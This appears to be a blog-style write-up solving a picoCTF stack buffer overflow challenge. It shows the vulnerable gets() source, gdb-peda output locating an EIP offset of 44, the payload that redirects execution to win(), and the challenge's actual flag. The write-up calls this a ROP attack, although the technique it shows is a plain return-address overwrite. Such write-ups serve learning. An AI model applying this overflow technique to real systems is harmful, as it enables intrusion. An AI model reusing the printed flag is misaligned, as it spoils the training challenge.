ROP attack
Hello Hackers,
welcome back to my write-up about binary exploitation CTF challenge. Today, we are going to solve a challenge which allowed us to control EIP. I will explain
later in my blog what EIP is. Now lets get started to overflow the stack.
Description
Control the return address
Now we're cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using nc saturn.picoctf.net 62727
Analyzing the file
As usual, we will kick off to analyze the file. Normally, in the real scenario source code will not be given you, should analyze through disassemblers and decompilers manually.
Let me check the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
Awesome. The source code is given. Now we will check the source code how it was written. First of all, let me get started to analyze main()
function.
I am able to see that below puts()
that vuln()
will be executed. Thus, let me check vuln()
function. The vuln()
function provides us much more information to understand how this file can be overflowed.
#define BUFSIZE 32
#define FLAGSIZE 64
BUFSIZE
can have 32, FLAGSIZE can have 64 characters.
Let me also briefly explain why gets()
should not be used/dangerous while coding.
gets()
is dangerous because it is possible for the user to crash the program by typing too much into the prompt.
It can’t detect the end of available memory, so if you allocate an amount of memory too small for the purpose, it can cause a seg fault and crash.
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\\n", get_return_address());
When vuln()
is being executed, you will get such a message.
get_return_address())
Hmm interesting, let me check what kind of output I get.
└─$ ./vuln
Please enter your string:
aaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
I am interested to be in:
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\\n");
exit(0);
}
because the flag should be appeared when I overflow the binary. The goal is finding the memory address of this function.
In order to understand about get_return_address())
we ought to check through gdb
Using GDB
I opened GDB to analyze the file more understandably
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049040 printf@plt
0x08049050 gets@plt
0x08049060 fgets@plt
0x08049070 getegid@plt
0x08049080 puts@plt
0x08049090 exit@plt
0x080490a0 __libc_start_main@plt
0x080490b0 setvbuf@plt
0x080490c0 fopen@plt
0x080490d0 setresgid@plt
0x080490e0 _start
0x08049120 _dl_relocate_static_pie
0x08049130 __x86.get_pc_thunk.bx
0x08049140 deregister_tm_clones
0x08049180 register_tm_clones
0x080491c0 __do_global_dtors_aux
0x080491f0 frame_dummy
0x080491f6 win
0x08049281 vuln
0x080492c4 main
0x0804933e get_return_address
0x08049350 __libc_csu_init
0x080493c0 __libc_csu_fini
0x080493c5 __x86.get_pc_thunk.bp
0x080493cc _fini
We can see the functions however, let me check main
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x080492c4 <+0>: endbr32
0x080492c8 <+4>: lea ecx,[esp+0x4]
0x080492cc <+8>: and esp,0xfffffff0
0x080492cf <+11>: push DWORD PTR [ecx-0x4]
0x080492d2 <+14>: push ebp
0x080492d3 <+15>: mov ebp,esp
0x080492d5 <+17>: push ebx
0x080492d6 <+18>: push ecx
0x080492d7 <+19>: sub esp,0x10
0x080492da <+22>: call 0x8049130 <__x86.get_pc_thunk.bx>
0x080492df <+27>: add ebx,0x2d21
0x080492e5 <+33>: mov eax,DWORD PTR [ebx-0x4]
0x080492eb <+39>: mov eax,DWORD PTR [eax]
0x080492ed <+41>: push 0x0
0x080492ef <+43>: push 0x2
0x080492f1 <+45>: push 0x0
0x080492f3 <+47>: push eax
0x080492f4 <+48>: call 0x80490b0 <setvbuf@plt>
0x080492f9 <+53>: add esp,0x10
0x080492fc <+56>: call 0x8049070 <getegid@plt>
0x08049301 <+61>: mov DWORD PTR [ebp-0xc],eax
0x08049304 <+64>: sub esp,0x4
0x08049307 <+67>: push DWORD PTR [ebp-0xc]
0x0804930a <+70>: push DWORD PTR [ebp-0xc]
0x0804930d <+73>: push DWORD PTR [ebp-0xc]
0x08049310 <+76>: call 0x80490d0 <setresgid@plt>
0x08049315 <+81>: add esp,0x10
0x08049318 <+84>: sub esp,0xc
0x0804931b <+87>: lea eax,[ebx-0x1f60]
0x08049321 <+93>: push eax
0x08049322 <+94>: call 0x8049080 <puts@plt>
0x08049327 <+99>: add esp,0x10
0x0804932a <+102>: call 0x8049281 <vuln>
0x0804932f <+107>: mov eax,0x0
0x08049334 <+112>: lea esp,[ebp-0x8]
0x08049337 <+115>: pop ecx
0x08049338 <+116>: pop ebx
0x08049339 <+117>: pop ebp
0x0804933a <+118>: lea esp,[ecx-0x4]
0x0804933d <+121>: ret
End of assembler dump.
Awesome. I am going to be trying to overflow the binary:
┌──(h4ck3r㉿0xcd4)-[~/PicoCTF/buffer-1]
└─$ ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaaaaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x61616161
zsh: segmentation fault ./vuln
Segmentation fault has been given to us Awesome!!!
The goal was to finding win()
function (its own memory address) to be exploited.
Exploiting
The fun part is back ! The goal was to find win()
function lets do that !!
db-peda$ disassemble win
Dump of assembler code for function win:
0x080491f6 <+0>: endbr32
0x080491fa <+4>: push ebp
0x080491fb <+5>: mov ebp,esp
0x080491fd <+7>: push ebx
0x080491fe <+8>: sub esp,0x54
0x08049201 <+11>: call 0x8049130 <__x86.get_pc_thunk.bx>
0x08049206 <+16>: add ebx,0x2dfa
0x0804920c <+22>: sub esp,0x8
0x0804920f <+25>: lea eax,[ebx-0x1ff8]
0x08049215 <+31>: push eax
0x08049216 <+32>: lea eax,[ebx-0x1ff6]
0x0804921c <+38>: push eax
0x0804921d <+39>: call 0x80490c0 <fopen@plt>
0x08049222 <+44>: add esp,0x10
0x08049225 <+47>: mov DWORD PTR [ebp-0xc],eax
0x08049228 <+50>: cmp DWORD PTR [ebp-0xc],0x0
0x0804922c <+54>: jne 0x8049258 <win+98>
0x0804922e <+56>: sub esp,0x4
0x08049231 <+59>: lea eax,[ebx-0x1fed]
0x08049237 <+65>: push eax
0x08049238 <+66>: lea eax,[ebx-0x1fd8]
0x0804923e <+72>: push eax
0x0804923f <+73>: lea eax,[ebx-0x1fa3]
0x08049245 <+79>: push eax
0x08049246 <+80>: call 0x8049040 <printf@plt>
0x0804924b <+85>: add esp,0x10
0x0804924e <+88>: sub esp,0xc
0x08049251 <+91>: push 0x0
0x08049253 <+93>: call 0x8049090 <exit@plt>
0x08049258 <+98>: sub esp,0x4
0x0804925b <+101>: push DWORD PTR [ebp-0xc]
0x0804925e <+104>: push 0x40
0x08049260 <+106>: lea eax,[ebp-0x4c]
0x08049263 <+109>: push eax
0x08049264 <+110>: call 0x8049060 <fgets@plt>
0x08049269 <+115>: add esp,0x10
0x0804926c <+118>: sub esp,0xc
0x0804926f <+121>: lea eax,[ebp-0x4c]
0x08049272 <+124>: push eax
0x08049273 <+125>: call 0x8049040 <printf@plt>
0x08049278 <+130>: add esp,0x10
0x0804927b <+133>: nop
0x0804927c <+134>: mov ebx,DWORD PTR [ebp-0x4]
0x0804927f <+137>: leave
0x08049280 <+138>: ret
End of assembler dump.
Awesome! In order to find the offset, i am going to use pattern create
let me create 100 characters
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /home/h4ck3r/PicoCTF/buffer-1/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Okay, time to return... Fingers Crossed... Jumping to 0x41414641
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x61414145 ('EAAa')
ECX: 0x0
EDX: 0xf7fc2540 (0xf7fc2540)
ESI: 0x8049350 (<__libc_csu_init>: endbr32)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcf90 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffcf90 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcf94 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcf98 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcf9c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcfa0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcfa4 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcfa8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcfac ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
We should know what EIP
is, but let me briefly explain:
EIP
stands for Extended Instruction Pointer and is used to track the address of the current instruction running inside the application.
EAX: 0x41 ('A')
EBX: 0x61414145 ('EAAa')
ECX: 0x0
EDX: 0xf7fc2540 (0xf7fc2540)
ESI: 0x8049350 (<__libc_csu_init>: endbr32)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcf90 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
In this part we are interested to check EIP
to do so, I am willing to check the offset of AFAA
gdb-peda$ pattern offset AFAA
AFAA found at offset: 44
Awesome. This mean that we can print 44 characters + (the address of win()
function).
We are working on IA32 thus pwn will be useful to create little endian hex.
0x080491f6 <+0>: endbr32
this is the memory address of win()
>>> from pwn import *
>>> print("A"*44+str(p32(0x080491f6)))
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb'\xf6\x91\x04\x08'
We are going to use this piece of code to overflow the binary with our win()
's memory address
The result:
gdb-peda$ r <<< $(echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08")
Starting program: /home/h4ck3r/PicoCTF/buffer-1/vuln <<< $(echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{HELLO}
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0xf7c54d
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0xf7fc2540 (0xf7fc2540)
ESI: 0x8049350 (<__libc_csu_init>: endbr32)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf94 --> 0xf7fc1678 --> 0xf7ffdbac --> 0xf7fc1790 --> 0xf7ffda40 --> 0x0
EIP: 0xffffcf05 --> 0x40000000 ('')
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xffffcf05: add BYTE PTR [eax],al
0xffffcf07: add BYTE PTR [eax-0x31],al
0xffffcf0a: (bad)
0xffffcf0b: jmp FWORD PTR [eax]
[------------------------------------stack-------------------------------------]
0000| 0xffffcf94 --> 0xf7fc1678 --> 0xf7ffdbac --> 0xf7fc1790 --> 0xf7ffda40 --> 0x0
0004| 0xffffcf98 --> 0xf7fc1b40 --> 0xf7c1f2bc ("GLIBC_PRIVATE")
0008| 0xffffcf9c --> 0x3e8
0012| 0xffffcfa0 --> 0xffffcfc0 --> 0x1
0016| 0xffffcfa4 --> 0xf7e1cff4 --> 0x21cd8c
0020| 0xffffcfa8 --> 0x0
0024| 0xffffcfac --> 0xf7c23295 (add esp,0x10)
0028| 0xffffcfb0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffcf05 in ?? ()
As you can see that: Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{HELLO}
has been given to us. I had already created flag.txt
to be in win()
function
Now, our flag has been given to us. I will go to exploit the given binary.
The flag
If you fully understood the return address
overflow, we will now exploit the binary through nc
connection
┌──(h4ck3r㉿0xcd4)-[~/PicoCTF/buffer-1]
└─$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08" | nc saturn.picoctf.net 56953
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_c76b273b}
Summary
I was trying to illustrate how ROP
attack works. Hopefully, you understood and tried on your own. When I got started to analyze the file
I was confused, and could not find the proper way to solve it, but it gave me a lot of experience to analyze like a superior analyst. I am learner like you; will share more
such CTF challenges stay tuned!!
Ahmet Göker | Reverse Engineer | Binary Learner 🙂
You can follow my repos to be informed about such write-ups and challenges. See you !!! 0xcd4